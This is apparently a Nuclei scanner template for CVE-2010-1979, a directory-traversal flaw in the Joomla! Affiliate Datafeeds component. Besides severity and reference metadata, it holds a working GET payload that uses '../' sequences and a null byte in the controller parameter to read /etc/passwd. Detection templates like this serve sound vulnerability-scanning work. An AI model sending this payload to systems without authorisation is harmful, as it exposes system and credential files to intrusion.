id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://www.exploit-db.com/exploits/12088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
    epss-score: 0.02061
    epss-percentile: 0.84148
    cpe: cpe:2.3:a:affiliatefeeds:com_datafeeds:build_880:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: affiliatefeeds
    product: com_datafeeds
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e9a9065afc1c79c9a8a37b6bff3db853d200911741c140a9fc1360faba18db87022100cce74934d6120f8012ae2fcf31f3f2f227ebfbd73abbe175605c21fda9df4850:922c64590222798bb761d5b6d8e72950